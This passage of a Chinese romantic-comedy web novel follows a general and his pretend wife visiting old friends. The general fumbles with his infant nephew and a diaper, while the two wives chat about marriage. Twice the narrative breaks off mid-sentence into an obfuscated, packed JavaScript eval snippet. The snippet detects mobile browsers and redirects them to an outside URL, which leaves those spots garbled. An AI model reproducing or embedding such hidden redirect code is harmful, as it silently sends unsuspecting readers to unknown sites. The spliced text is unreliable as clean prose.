赵留行不信,柳善因不认。 两人就这么往复循环,说说笑笑,在菜园子里待到夕阳西下,才回屋了去。 - 次日一早,赵留行应了柳善因的承诺起了个大早,谁知道提出这要求的柳善因却赖着不起。 兴许是昨日地犁的太累,叫她睡的沉沉,居然赵留行站在床前看他半晌,她都没所察觉。惹得赵留行最后无奈只能轻唤:“小柳,该起了。” 柳善因迷糊糊睁开眼,赵留行趁势转身坐去桌案,背对着柳善因开口说:“你不是说要早一点去吗?” “什么要去早一点?” 柳善因揉着惺忪的睡眼坐起身来,赵留行不可思议地回头看去,等到与之四目相对,柳善因这才恍然大呼:“哦,对呀!我怎么给忘了——” - 二人早起这么折腾一晌,最终还是没能早些过去。柳善因和赵留行差不多是踩着巳时末,才到了郑家。 面对郑家两口子热情地接待,柳善因有些不好意思,赵留行却没什么所谓。 何斐真一见赵留行张口便说:“赵老三,你还真是几请都请不来的贵客——瞧着若不是沾着弟妹的光,你大抵是不会登我们的门。” 赵留行看了何斐真一眼,没做搭理。眼前人同样出身将门,与他算起来还能攀上些远亲。 他俩自小就不对付。 何斐真小时候更是没少欺负郑洛均,所以他俩能成为两口子,是赵留行怎么也没想到的。 然郑洛均昨日愤愤,今日见了赵留行竟是屁也不敢放,他啊谁都惹不得。看着一群人挤在门外,郑洛均忍不住去邀大家进去,“行了,咱们就先别在这儿堵着了,弟妹这还抱着孩子咱们进去再聊——” 柳善因从始至终插不上一句话,只得尴尬陪笑,这会儿笑得更是有些发僵。她看了赵留行一眼,等赵留行点头示了意,她才抬脚往前去。 郑洛均与柳善因前脚刚走,何斐真后脚就悄悄拉住了赵留行。赵留行惑然回首,“你又想做甚?” 何斐真却万般好奇地朝他靠去,“诶,昨儿……你们那地犁的怎么样?” 赵留行哪里知晓眼前人此话何意,他只不假思索道是:“挺好。” “挺好?”何斐真闻言登时刮目相看,她紧跟着便说了句:“赵老三,还得是你——”弄得赵留行茫然不已。 16. 第 16 章 何斐真说罢不等赵留行回问行个什么,便轻轻快快走过他的身边往郑洛均那去。赵留行站在她家门外瞧着她和从前一样神经兮兮,不由得骂了声:“有病。” 幸好何斐真没听见, 若是听见了,她必是不能饶了他这远房表弟去。 别瞧赵留行现在人高马大的,小的时候何斐真长得早,没少把他和郑洛均这对难兄难弟按着打。赵留行是好男不跟女斗的不还手,而郑洛均呢?是手无缚鸡之力,想还手压根打不过…… 孩提的时光,乃赵留行最不肯回忆的过往。 那时候因为不受赵爹待见,以至于府中兄弟姐妹对他也是漠然排挤,只有何斐真和郑洛均这两个外姓人,愿意同他说话玩耍。说来若无他们夫妇两个,赵留行恐怕都熬不过那些晦暗的日子。 府门外人愣着,跟随夫妇俩垂眸行路的柳善因最先察觉赵留行没来。 她赶忙停下脚步,回头找寻赵留行的身影。 等到瞧见赵留行站在来时的地方,她竟悄悄调头回去找了他。 柳善因抱着小侄子乖乖来到赵留行面前。 于这偌大的洛阳城里,她只认得他,好似只有呆在赵留行身边,柳善因才能获得些许安心。若是离得太远,亦或是瞧不见赵留行,她都会感到彷徨。 谁叫她本就不属于这儿呢…… “夫君站在这里做什么……不进去吗?” 柳善因举目相望,瞧着要是赵留行现在道出一句回家,她就能立马跟着回去。赵留行回神看向柳善因,顿时转变了态度缓道:“没什么,这就进去,你怎么跑过来了?” 柳善因托着小侄子软和和的屁股,有些不好意思地小声说:“我怕你有事情找不到我……” 可赵留行就是块不解风情的臭木头,他抬脚便说了句:“我没什么事找你,走,进去吧。” 彼时,在不远处的小径上,郑洛均好奇地探头与何斐真私语,“夫人适才怎么在外头半晌不进来?是跟三郎说什么呢?” 何斐真抖了抖肩膀撇开郑洛均,不以为意,“怎么?我跟老三说什么还要跟你汇报?我俩说悄悄话呢——难不成他的醋你也要吃?小心眼的货。” 郑洛均被身边人嫌弃,却并未气恼,反倒再次没脸没皮地靠去。他捏了捏何斐真的肩,一脸殷勤相,“哎呀,为夫单是有些好奇。夫人说说嘛,说说吧。” “就你事多。”何斐真转眸点了他的头,语气略带宠溺。 郑洛均微微一笑,听眼前人小声道是:“我适才问了老三,他们昨儿地犁得如何。你猜他怎么说?” “啥?你就这么直接问了他——” “对,直接问的。你这么大声作甚。” 郑洛均跟何斐真相识十几年,成亲六七年载,孩子都生了二三,却还是偶尔会被她的随心所欲给吓着。他个谨小慎微的君子,想来这辈子都不会有这么勇敢的时候…… 可好奇心终究大过了廉耻,他转头便问:“那他怎么回的?” 何斐真在左右扫视后,贴着他的耳朵应声道:“他说……挺好!” 郑洛均噫了一声,下意识骂了句:“真不要脸。” 何斐真撇嘴反驳,“是是是,郑郎君要脸,你夜半别登我的床。”郑洛均听媳妇这么说赶忙改了口,“不不不,他赵老三要脸,不要脸的是我。” 果然是熟得跟一个人般的老夫老妻,说起话来没那么多顾忌。 何斐真就喜欢郑洛均这对自己贱兮兮的模样,可她不说,只故意白了郑洛均一眼。 偏就是这么一眼,叫夫妇二人终于发现客人早已不在身边。 “诶?人呢?”何斐真回头。 郑洛均妇唱夫随,“怎么弟妹又跑门外了?” “你懂个什么!” 何斐真咂咂嘴,一个劲地笑,“这刚生了头胎就是不一样,瞧着弟妹对老三很是爱慕呢,一步都不愿分开。我原先还以为老三会找个跟他一样倔的,两人倔到一块去,没成想居然找了弟妹这般娇憨惹人怜的。赵老三眼光不错,就比你少差那么一些。” 郑洛均瞧了何斐真一眼,心想她还真会往自己脸上贴金。 这时间,赵留行领着柳善因从门外走来,瞧见夫妇两个正意味深长地看着自己,立刻蹙眉回看,“你俩这么瞧着我们作甚?指定没憋好屁。” “嘁,瞧瞧怎的?你个郎将,还不能瞧了?”何斐真口快,压根轮不上郑洛均插嘴。 她掐着腰,张开口就是一连串地讲:“我还没说你呢,这头一遭来我家登门,空着手来就罢了,还这么横行霸道。你别以为我家九郎好欺负,就也不把我放在眼里。我可告诉你,你胆敢欺负我家的人,我不饶你——” 何斐真几句玩笑话,赵留行与郑洛均早已见怪不怪。 可柳善因这初来乍到的,却被吓得赶忙赔礼:“不是这样的,您别生气。我们带了东西来的,就是…还没到……” 柳善因语毕回头,像个犯错的小孩般看向赵留行。 她想他们昨日已经失礼,今日若再惹得主家生气,实在是太不像话了。 谁知,赵留行居然斗胆盯着人家夫妇俩冷言道:“我俩走路来的,拿不了那么多东西。等着吧,少不了你家的,一会儿就送到了。” 柳善因还在旁边害怕,何斐真那端却已挑眉回了句:“这还差不多。” 她说罢笑逐颜开,缓缓走到柳善因面前解释:“哎呀,弟妹别害怕。我跟你们开玩笑呢,别当真,就是真的空手来也无妨的,你们能来就是最好的礼数了。其余的都不打紧。” 望着何斐真笑意盈盈,柳善因总算把心放进了肚子里,到底是她单纯,闹了笑话。 话落之后,她竟还同何斐真诚恳道:“您没生气就好。” 弄得何斐真惭愧不已,忙将矛头对准赵留行,“瞧瞧瞧,既是走路来的,赵老三你怎么能叫弟妹一直抱着孩子,真不像话,当爹的怎么这般不上心。你难不成是落魄到连个女使婆子都用不起了?” 但何斐真这回是实打实冤枉了他。 出门前小家伙吃奶睡下,全然没法像平日那样端着,赵留行也只能让柳善因一路辛苦。 可不是他甩手不管。 何斐真不知缘由,瞧她二话不说熟练抱过柳善因怀里的娃娃朝赵留行递去,“来,快把你儿子抱好,叫弟妹清闲清闲——还有今儿我要和弟妹好好聊聊天,孩子就你们两个来带。” 何斐真说着伸手示意赵留行接下。 赵留行却瞠目相望,半晌不见动弹,他哪里会抱孩子?还是个熟睡的孩子…… 不得行,不得行。 柳善因望着赵留行为难的模样,赶忙伸手解围,“还是我来吧。” “弟妹你别管,难道他不是孩子爹吗?抱会儿孩子怎么了,一瞧他平日里就不帮衬你带孩子。这点比我们家九郎差远了。就让他抱。”何斐真强势将孩子塞进赵留行怀中,不给柳善因丝毫搭话的机会,赵留行无奈只得把小家伙重新端起。 柳善因见状刚想上去帮他,就被何斐真一把拉走,她冲满脸担忧的柳善因说:“弟妹,莫要心疼。男人带半日孩子出不了什么事,咱们该放手时也要放手。你别担心,有什么事有你九郎兄呢。” “走走走,后院的杏花开了,我带你到院中瞧瞧。” 何斐真盛情难却,柳善因一步一回头地望赵留行,她的眼神就好似在说:赵赵将军,你真的可以吗?赵留行也好似读懂了她的话,故作坚强地道了声:“去吧。” 可是等柳善因的身影彻底消失在岔路上,赵留行竟忽而泄了气,他垂眸看着手臂上端着的娃娃,瞬间面如死灰,他是真不知该如何面对…… 郑洛均站在旁边看戏。 他这辈子还是头一遭见眼前人这般模样,曾经的赵留行是如何的盛气凌人,不可一世。 看来啊,只要是当了爹都是一个样。 郑洛均自觉说教赵留行的时机终于来临,他便一脸得意地拍了赵留行的肩扬声说:“啧啧,怎么当爹的,连孩子都抱不好?还是得让为兄来教教你呀——” - 与此同时,在去往郑家的路上,土酥和长夏抱着主家要送的礼品缓缓而行。 “就说让家里赁辆马车,将军就是不听。他和夫人两个,天天这么城东城西地跑,就不嫌累吗?他们不嫌累,我还嫌累呢!”长夏一路上边走边唠叨。 土酥是一句话也不接,长夏原以为她是不想理自己。 可等她转过头,居然听见遮挡二人的礼盒后,冒出阵阵如老鼠偷食的声音,惹得她不由得伸手去探,“不是吧,白土酥!走着路你都有功夫偷吃?我真是服了你。” 土酥循声抬眸,“当然可以了,这一路多无聊啊,不吃些怎么有力气。长夏,你要不要来一块?这是我今早新做的,还特意加了院子里的桃花,可好吃了。” 长夏闻言愤愤,大道:“不吃!” - 郑家这边,赵留行与郑洛均走上小径。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15161128|163873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郑洛均好像还真把赵留行给教会了,赵留行这会儿抱着小家伙,行走自如,小家伙也睡得舒服。他骄傲极了,这么多年,他总算是在赵留行面前扳回一局。 他也不再是一无是处了。 说起来,郑洛均虽在仕途里处处失意,但在居家过日子上,却是如鱼得水。别看他平日里公务繁忙,可只要一空闲,他就会帮着何斐真照看孩子。以至于三个孩子,一个比一个黏他。 这样的日子郑洛均很知足,赵留行却感知不到。 他瞧着是一个人漂泊惯了。 “你家儿子可真好带,这半晌不哭不闹就知晓睡大觉,看来是像他娘了。”郑洛均跟赵留行搭起话来,“不像我家这几个,从小就难伺候得很。一个两个都不像我,全都跟他娘小时候一样像个皮猴。无法无天的,太折磨人了。” 郑洛均嘴上抱怨,心里倒乐开了花。 赵留行紧紧抱着小家伙,转眸看他,“我瞧这话你也就敢当着我的面讲,你去跟何二娘说说看。” “你是不想让我活了?”郑洛均反驳。 兄弟二人相视一笑,仿若寻到了儿时的感觉。只是一切都在花开花落里物是人非,他们也都各自有了“家”。曾经的难兄与难弟并肩踏进游廊,赵留行忽而开口唤了声:“九郎。” 郑洛均嗯了一声回头望。 赵留行这才开口问他,“你到底怎么会娶了何二娘为妻?你以前不是最厌她?” “是啊,可我原先也没想过要娶她。” 郑洛均微微一笑,他就知道赵留行早晚会这么问他,“但她那天头一遭哭着跑来找我,说何将军要把她送进宫去,她求我想办法帮帮她。你也知晓,二娘从来不哭的。虽说她总是捉弄我,但毕竟认识了这么多年,我不可能见死不救吧。” “我就让她暂时回家去,第二日我去提亲。” “嫁给我,总比在宫里一辈子出不来好吧。我本想着过些日子,等风头过去就跟她和离,她想再嫁,或者如何都跟我无关。我也算仁至义尽,结果成婚三月……” “怎么?”赵留行难得好奇。 郑洛均有些不好意思地应了声:“二娘就怀孕了。” “……” 赵留行无言相对。 郑洛均挠挠头,还一脸无辜相,“再之后你也瞧见了,我俩这孩子一个接一个,还和离个什么劲。就这么过吧,二娘除了脾气大了些,人还挺好的。而且我都已经被她欺负惯了,若是换个人,恐怕也受不住她。” 赵留行在郑洛均的脸上瞧见了几分羞意,可大抵是他不懂爱为何物,便觉得不可思议。 甚至有些恶心…… 他不由得冷笑起。 此刻,赵留行是真想把何斐真今日在门外冲自己说的那句还得是你,送还给郑洛均,却又几番掂量着咽下。最后,在抬脚前也只道了句:“你欢喜就好……” 郑洛均悠悠追去,“诶,别只顾着说我,我还想问你呢?你怎么突然就想着要带弟妹到家里来坐坐了?” 赵留行放缓脚步,为什么突然想来? 他其实也不是真的想来,他只是在应下侯府邀约后的第二日遇见了郑洛均,所以才突发奇想,想来偷偷学习学习别人夫妻间的相处之道,好应对上巳节的事。 然柳善因对此一无所知,她还以为赵留行只是单单思念故友,特意登门做客。 说话间,小家伙在赵留行怀里蹬了蹬腿,赵留行轻轻拍了拍小家伙的背,转头没跟郑洛均说实话,“没什么特别的,就是想带着小柳来看看你们。” 赵留行说谎不眨眼,郑洛均自然信他。 - 随后,与身边人去到院子后头,赵留行抬眼瞧见三个吵闹的孩童,在院中打得不可开交,“郑合钰,你不要欺负你二哥哥!你快听大哥哥的话,把二哥哥的面人还给二哥哥。你看爹爹来了,你小心爹爹打你屁股。” “略略略就不给,就不给,谁叫二哥哥把小钰捏成这样,二哥哥坏——还有爹爹才舍不得打小钰的屁股呢!” 郑洛均的到来,似乎并未将事态平息,兄妹三个反倒剑拔弩张起来。 “爹爹!你看她。” “爹爹!你揍她!” “爹爹!你来啦~” 听着周遭爹声四起,赵留行两眼一黑。 他不由得暗暗发誓自己往后若是娶了媳妇,千万千万不要生这么多…… 他不是郑洛均,他可应付不来这么多娃。 17. 第 17 章 郑洛均被儿女们缠上脱不开身,赵留行这个难弟见状竟躲得远远没去参与。他是真的一点也不喜欢孩子,也不觉得他们可爱,听着耳边此起彼伏的吵嚷声,赵留行蹙眉捂起了小家伙的脑袋。 他自觉这么一比,还是怀里这个乖些。 可等他不经意低头一瞧,却发现小家伙小小的嘴巴边淌出不少口水,湿漉漉的一直向脖颈漫延。是不是得擦擦?但是用什么擦?还是说等他自己风干…… 赵留行难以抉择,眉心皱得更紧了些。 他抬手犹豫再三,也没狠下心来,他实在下不去手去擦。毕竟照看小家伙全然是出于责任,不是出自本心和爱,他自是过不去心里那道坎。 正当赵留行打算叫小家伙嘴边的口水自己风干时,他却忽而盯上了小家伙身上的衣衫。 男子汉大丈夫,自己的口水自己擦。 赵留行说着就捏起小家伙的袖口,在他自己嘴边擦了两下,小家伙被他捏得在怀里扑腾,赵留行赶忙安抚,“忍忍,很快就好。” 擦个口水而已,赵留行瞧上去却比练兵还要为难。 他搁下小家伙的袖子时,不由得跟着松了一大口气。他望着小家伙不再湿漉的嘴角,甚是得意,瞧瞧,照顾孩子也不是什么难事——比打仗轻松多了。 可这才哪到哪?赵留行惯会安慰自己。 风吹杏花落,郑洛均的小女在兄长们的围攻里觉得无趣,转头从自家爹爹的怀里跳了出来。她在院中看了个遍,脑袋后头的青色头绳一直从背上垂落进她背过去的掌心。 郑合钰捏着头绳转来转去,直到盯上赵留行才欢快迎了上去。小丫头瞧见外人一点也不认生,反倒大大方方张口地问:“叔叔,你抱的是小宝宝吗?” 叔叔……? 赵留行没搭理郑合钰,他想装作没听见,他觉得这样就不会被小丫头缠上。没成想,郑合钰竟不紧不慢走向另一边,探头盯着赵留行的脸继续说道:“叔叔,我能看看小宝宝吗?” 小丫头坚持不懈地追问,赵留行再不搭腔就显得不礼貌。 他垂了眸,将小家伙朝郑合钰靠近,“看吧。” 小丫头踮起脚尖,使劲勾头看。 她是家中最小,大哥和二哥总是喜欢拿辈分说教自己,她便一直希望爹爹娘亲再生个妹妹,这样她就能做姐姐,也能带着妹妹一起对付两个烦人的哥哥了。 可家中有三个已然闹腾成这般,若是再要一胎,恐怕真会要了何斐真和郑洛均两口子的命去。 “这是妹妹吗?”郑合钰盯着小家伙白白的小脸目不转睛。 赵留行摇摇头,“不是,是弟弟。” “哦,是弟弟呀。”郑合钰看上去有些失望,“怎么是弟弟啊?叔叔为什么不生个妹妹呢?小钰喜欢妹妹,叔叔下次还是生个妹妹再抱来给我瞧吧。” 小丫头说罢把头偏了过去。 赵留行听后匪夷所思,被小丫头噎得哑口无言。关键这娃也不是他生的,再说生男生女也不是他想要什么就是什么……这事若是刨根问底,估计得问问送子娘娘去。 赵留行默默抱回小家伙,脑子一热应了声:“行,那下次吧。” 小丫头单纯偏信了大人的鬼话,只见郑合钰满眼期待地望向他,“真的?那下次是哪次?叔叔是和方才阿娘领着的漂亮叔母一起给小钰生个小妹妹吗?小钰喜欢那个叔母。” “……” 小丫头童言无忌,听得赵留行羞涩不已。 郑家这小丫头还真是厉害,果然跟她娘小时候一个样。赵留行这会儿没办法拒绝,也没办法承认。他只得抬眼寄希望于郑洛均,可郑洛均依旧被两个儿子拉着分身乏术,全然指望不上。 只是如今柳善因不在,何斐真跑得无踪无迹,那究竟谁能来救救他? 赵留行犯了难。 小丫头目光如炬,叫他逃也逃不走。 这时间,怀中的小家伙似是察觉到了赵留行的窘迫,只瞧他在睡梦中握紧了拳头,不知在往何处用力。最先察觉到不对劲的是郑合钰,她伸着脖子吸了两口气,很快便被臭的向后退去。 小丫头捏着鼻子一脸鄙夷看向赵留行,“呸呸,好臭好臭。叔叔,你拉臭臭了吗?” “……” 适才的尴尬是被这股子臭味遮盖,可赵留行当下的处境甚至还不如刚才。 他陷入更大的沉默,恨不得找个地缝钻起来,只是那一股股恶臭熏得人大脑一片空白。他仔细寻找气味的来源,直到察觉那味道是从小家伙身上散发出来的,瞬间变了脸色,止不住地干呕。 郑合钰被吓得转头就跑,她边跑还边喊:“爹爹救命,这个叔父好臭——” “不是我,你别……” 赵留行刚想解释,小丫头就一路跑远。 郑洛均循声拽着两个小子回头望,郑合钰却正巧一个猛冲钻进了他怀里。他无奈只得拖着三个娃娃朝赵留行那边去,贴心的小丫头紧紧抱着爹爹张口便说:“爹爹,你别过去,那个叔父真的很臭。” “没事,爹爹就是过去瞧瞧。” 郑洛均松开俩小子,转头抱起闺女来到赵留行面前。 这种场面于他而言已是司空见惯,三个孩子哪个没有这样的时候?可对于赵留行这种初出茅庐者来说,却恨不得将小家伙丢出去,因为这味道实在熏人难耐。 赵留行皆掩鼻,郑合钰闹着要走,只有郑洛均处变不惊地开口:“你这爹当得真是不称职,孩子屙了,你还跟着木头似的杵着作甚?怎么离了弟妹就什么都做不成了?你也不知帮着分担分担。” 郑洛均也是胆子大了,居然敢说教起赵留行了。 但赵留行无从辩驳,照看孩子这事,他确实是离了柳善因什么都做不了。 “少说风凉话,你就说现在怎么办!”赵留行气急。 郑洛均冷笑,“怎么办?换尿戒子——” 可看着赵留行一脸无助,迷茫,甚至有些彷徨的模样,郑洛均不禁疑惑道:“你别告诉我你不知什么是尿戒子,赵老三,你到底是不是这孩子的爹啊!” 倒还真叫他说对了。 赵留行盯着郑洛均不说话,郑洛均见状摇头一声叹息,“来吧来吧,正巧家里还剩些小钰原先没用上的。我就好心再教教你,你今日学会了,往后记得替弟妹多分担。” “真不知,弟妹怎么瞧上你的……” - 两个爹慌慌张张去了松烟堂,两个娘却在后院的杏花树下悠悠闲闲聊起家常。 “我姓何唤斐真,弟妹叫个什么名?” “柳善因。” “弟妹家是哪里的?听着不像咱们这儿的。” “泽州。” “我今年二十有二,弟妹多大?” “虚岁十七。” 何斐真热情相待,柳善因拘谨地坐着。等眼前人一问,她才张口一答。 今日她穿了身缃叶色的交领裙,这是赵留行那日亲自挑选特意要留的,今早过来赵留行还给她挑了朵绯色的绒花戴上。 彼时,柳善因垂眉坐在盛放的花树下,就宛若一朵自枝头飘落的杏花。 安静独立。 何斐真瞧着眼前人美好祥和的青葱模样,忍不住歪头夸奖,“弟妹真安静,不似我这般聒噪。弟妹可真会穿衣裳,你头上的绒花好别致,配你这身衣裳刚刚好呢。” 柳善因闻言摸了摸头顶,不好意思地说:“是赵……夫君帮我挑的,我其实也不懂这些。” “哎呦,我们傻子老三还会帮人搭衣裳呢?”何斐真憋不住大笑,不是从柳善因嘴里听闻,她简直不敢相信赵留行还能这般心细,“他个连狗都不理的家伙,居然能娶到弟妹这么好的媳妇,真该到菩萨面前好好拜拜,也不知是哪世修来的福气。” 何斐真咂舌,柳善因赶忙抬眸挥手,“不是的,赵赵将军也是个很好的人。” “赵赵将军?” “没有,是夫君……” 何斐真被她那憨态可掬的样子逗笑,她轻轻摸了摸柳善因单薄的肩宽慰道:“弟妹,你别紧张,在我面前轻松些。我与老三是多年好友,亦是表亲,你便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15161129|163873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是我的朋友,我的表亲。” “我虽不知赵家那边怎么看,但只要你和老三是真心喜欢,想要一起白首,我和九郎便尊重支持你们。什么门第,什么身份,从他们赵家说出来都是狗屁。” “在这洛阳城里,最没资格反对你俩的,就是赵家——多少年对老三不管不问,现在好意思拿老三的婚事说事?真不要脸。弟妹你别怕,除了二表姑,没人能对你俩的事指手画脚。再说二表姑最疼老三了。既然是老三选的人,而且你俩这生米也煮成了熟饭,我想二表姑应是不会反对。” 尽管柳善因和赵留行是对假夫妻,但眼前人的一片好心,还是令她感动不已。 她很高兴,高兴赵留行能有这么好的朋友。 只是何斐真口中的二表姑,着实让柳善因摸不着头脑,她不好乱说话,只能点头道谢:“谢谢嫂嫂。” “客气什么。”何斐真笑了。 柳善因也跟着眯眼。 可等俩人四目相对,何斐真还是改不了老样子。柳善因看着她眨眨眼,她却搭上柳善因的手,瞧着她是没在赵留行身上问出什么,转头把主意打到她身上了。 “弟妹,我有件事一直好奇。”何斐真掠过飞舞的杏花,向柳善因靠近。 柳善因抬起头,“嫂嫂有事直说便好。” “那我真就直说了?”何斐真小心试探,单纯的柳善因点点头,还不知掉进了她“邪恶”的陷阱。 何斐真低声说:“你跟三郎那事平日怎么样?” 柳善因个未出嫁的闺女,如何知晓她此话何意?她可连男人的手都没牵过,最近一次看到男人的身体,还是前些天给赵留行换药那次。 “那事?”柳善因不明白。 何斐真立即提醒,“就是造孩子那事。” 一说造孩子,柳善因瞬间红了脸。她低着头不敢吭声,太羞人了。 这话怎么好直说的…… 何斐真却挤了挤她,“都已经是孩子娘了,怎么还不好意思呢?这儿就咱俩,说说也不妨事的。你俩昨儿不是还犁地来着?我都懂。老三身强力壮,正是血气方刚的时候,寻日里是不是劲挺大的?” 柳善因闻言不觉攥起掌心。 她琢磨若装傻不回答眼前人的话怕她起疑,可要是说,这事又该怎么张口啊?可柳善因虽没见过人做那事,倒见自家牲口配过,她想这俩之间应是差不离吧? 思量间,何斐真穷追不舍,分毫没给柳善因喘气的机会。她问:“弟妹,想什么呢?” 柳善因抬起头,“没,没什么。” “那你快说说。”何斐真带着满眼的期许将柳善因相望。 柳善因咬咬牙,豁出了自己的廉耻张口瞎扯,她发誓绝不能给赵留行丢脸,“他的劲可大了,就跟我家的公牛一样。而且我俩……我俩平日不是撅着,就是摞着呢!” 柳善因闭嘴闭得刚刚好,瞧着她再多说一句都得露馅。 可这话被身旁的何斐真听去,却是震撼不已。 她一句话不说盯着柳善因瞧了半晌,瞧得柳善因都开始怀疑自己是不是哪点说得不对,被人看穿。谁知,何斐真却忽而发笑不止。她着实有些佩服眼前人,但又不知该如何张口。 而这时渐渐反应过味来的柳善因,不由得低下了头,脸颊上的羞意也再难消散。 - 松烟堂的地柜边,郑洛均将干净的尿戒子狠狠丢向赵留行,“我说你别挣扎了,当爹的换个尿戒子难为你了?让你出门不带女使婆子,只想着叫弟妹一人忙活。该,快些换,别叫你儿子闷了腚去,到时候孩子难受,折腾的也是你们。你听见没?” 赵留行却一脸生无可恋地站在小家伙面前推脱说:“你来。” “我?不成,腾不开手。”郑洛均撇嘴,找了个理由婉拒。郑合钰最是机灵,他听爹爹这么说,赶忙紧紧揽着郑洛均不松。 父女俩就这么一唱一和地逼着赵留行亲自换尿戒子。 赵留行默然相立见此路不通,无奈屏气凝神把心一横,终是朝小家伙伸了手去…… 18. 第 18 章 午时杏花树下对坐,柳善因时不时便会朝东望,她瞧着有几分忧心却不是为赵留行,而是为了小侄子。她转头看了看何斐真,打断了她的喋喋不休,“嫂嫂好久了,咱们是不是该寻他们去了?” 何斐真闻言停下思绪,笑着瞧她,“怎么?一会儿不见就想啊?” “不是的……” 柳善因抿起嘴巴,不知怎么接茬。 何斐真见小女郎失落落垂了头,哪忍再去逗弄她? 她趁势起身抖了抖裙摆上的落花,“行了行了,不逗你了。瞧着厨屋应是快准备好了,我也正好瞧瞧我家那几个小崽子怎么样,有没有趁我不在的时候,将家里的屋顶给掀了去——过两日下雨可就要遭殃呢!” “走吧弟妹,与我一道。” 何斐真出言相邀,柳善因赶忙诶了一声提裙跟了上去。而后,当飘逸的裙摆肆意搅乱一地春色,再顺着风的方向凝眸去,便只剩了她们美好的背影。 - “阿娘,阿娘~” 远远隔着棵青松,郑合钰就冲着何斐真大喊。 何斐真一瞧见闺女,立刻笑得没了眼。她同柳善因走到松烟堂外抱起郑合钰,便替柳善因开口问郑洛均,“老三呢?怎么换你抱着我这小表侄?” “别提了。” 两口子说话间,柳善因默默伸手接过了郑洛均怀里的小侄子。 郑洛均仔细将孩子交接才转头跟媳妇张口抱怨:“让他给孩子换个尿戒子,你猜怎么着?还没伸上手就跑去茅房吐了,真是干啥啥不行。最后弄了半天还是我给孩子换得,指望他一点也指望不上。你说他除了块头大些,会打架些,他还能做什么——” 郑洛均当着人家媳妇的面唠叨个没完,何斐真忍不住瞥他一眼,忙叫他注意:“行了,慎言。你少说两句,人家弟妹还在这儿呢,你这唠唠叨叨成什么样子。” “把嘴闭了。” 郑洛均识相立刻止语。 但柳善因对此倒没什么所谓,她在瞧见小侄子安然无恙后,又担忧起赵留行来,操心个没完。瞧她探头发问:“夫君他……吐了吗?” “嗯,人还在茅房呢。”郑洛均点点头,顺手指向茅房。 柳善因有些挂心,抱着小侄子就要往那去。郑洛均也是嘴快,“诶?弟妹,你还是别过去了。”却被何斐真手疾一把按下,“就你话多,不说话能憋死你。” 何斐真气场强大,郑洛均不得不乖乖收敛。夫妻两个就这么看着她在与他们颔首后抬脚。 柳善因来到茅房外轻轻叩门,只见咚咚咚三声之后,里面依旧无人回应。 她着急大喊:“赵赵将军,你还好吗?” 可等话音落去一片死寂,柳善因便顾不上什么体面,一脚将门踹了开。她这一脚踹得惊天动地,叫何斐真与郑洛均面面相觑,好似踹在了他们身上一样。 二人对视时不禁暗道:别瞧眼前人个子小小,却是不可貌相。可想来弟妹若不是有些本事,必也拿不住那犟头小子。 这头夫妻两个正嘀咕着,那边柳善因慌慌忙忙进了茅房,低头一看赵留行正躬身弯在恭桶旁。 她这会儿也顾不上改口唤什么夫君,张口就是一句:“赵赵将军!” 赵留行吐得两眼昏昏,直到人进屋才听见动静。他趁着柳善因上前的功夫,赶忙反手一挥,遏住了身后人向前的脚步。柳善因站在原地踟蹰不定,赵留行却说:“你别过来——” “赵赵将军,你没事吧?”柳善因不敢贸然上前。 赵留行摇了摇头,他眼下就算是有事,也不能在柳善因面前展示出来,不若就太丢脸了。 他沉默半晌,才装作无事地站起身来。 待他回眸望见柳善因忧虑的目光,便故作坚强道是:“出去吧,我没事。” 但柳善因看着赵留行那略显憔悴的面色,忍不住拽住了他的衣袖,她问赵留行:“你真的可以吗?不行……咱们就跟他们告辞回家去吧。” “哪妨事,你看我像有事的样子吗?我好好的。”赵留行死鸭子嘴硬。 柳善因也没给她面子,当即点头应声说:“像。” “……” 赵留行无言以对。 他此刻腹中确实仍旧有些翻涌,可他能忍,他就这么盯着柳善因面无表情地说:“来都来了,怎么也得吃个饭再走。早起来你就因为赖床耽搁了,没用早饭,现在不饿?” 柳善因不吭声,她瞧着是有些愧疚,愧疚自己怎么能让赵赵将军独自应付这些事。 哪里还敢嚷嚷饿。 赵留行与柳善因相处了一旬,似是能多少能读懂些这女郎的情绪,他看着柳善因这副欲言又止的模样,伸手点住了她的脑袋,“诶,你若又想道歉,趁早免开尊口。” 柳善因纳闷,他怎么知晓自己要跟他道歉?难不成他还会读心不成? 可并非是赵留行会读心,而是柳善因道歉的频率实在太多太快。惹得他现在只要跟柳善因对上眼神,就知晓眼前人又要作甚。所以与其待会儿还得跟她解释,倒不如先开口阻止。 柳善因眼见赵留行不让自己致歉,也就不再好多言。 可她不知为何,忽而勾着鼻子朝头顶的方向闻了闻,紧跟着便道了句:“赵赵将军,你…是不是没洗手哇……” 此话一出,气氛瞬间尴尬。 赵留行默默将手从柳善因的脑袋上收回,转头走到水桶边,再也没搭理她。 - 开席的时候,柳善因与赵留行带着小侄子坐在南面。 郑家一家五口坐在北边。 此间春色正盛,两桌人在和煦的风中对望,照旧是何斐真最先开口,她问三郎,“这次回来同侯府那边碰面了吗?侯府知道你俩的事后,是什么意思?” 赵留行精神头比适才好了不少,他把自己面前的果脯,悄悄推向眼巴巴向自己这边观望的柳善因后,才开口说:“没见,他们是什么意思不重要。但他们邀了我们去过上巳,我给应了。” 何斐真闻言跟郑洛均对了一眼。 